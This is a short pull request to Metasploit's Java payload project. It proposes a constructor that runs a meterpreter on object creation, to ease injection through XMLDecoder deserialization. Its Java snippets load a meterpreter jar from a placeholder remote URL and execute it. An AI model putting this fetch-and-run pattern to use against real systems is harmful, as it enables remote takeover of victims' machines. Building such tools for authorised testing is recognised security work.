rapid7/metasploit-javapayload — pull request #10 by pwntester (2014-02-16 17:24:54+00:00)
Title: Allow payload execution during object creation

Injecting a Java meterpreter into restricted contexts make it difficult to call:
URLClassLoader u = new URLClassLoader(new URL[]{new URL("url to met.jar")});
Class c = u.loadClass("metasploit.Payload");
c.getMethod("main",new Class[]{Class.forName("[Ljava.lang.String;")}).invoke(null,new Object[]{new String[0]});

This is the case for XMLDecoder deserialization where "invoke" is not allowed and methods cannot be passed null as arguments. However its much easier to do:

URLClassLoader u = new URLClassLoader(new URL[]{new URL("url to met.jar")});
u.loadClass("metasploit.Payload").newInstance();

And in order to do that, the Payload class require a constructor that runs the payload.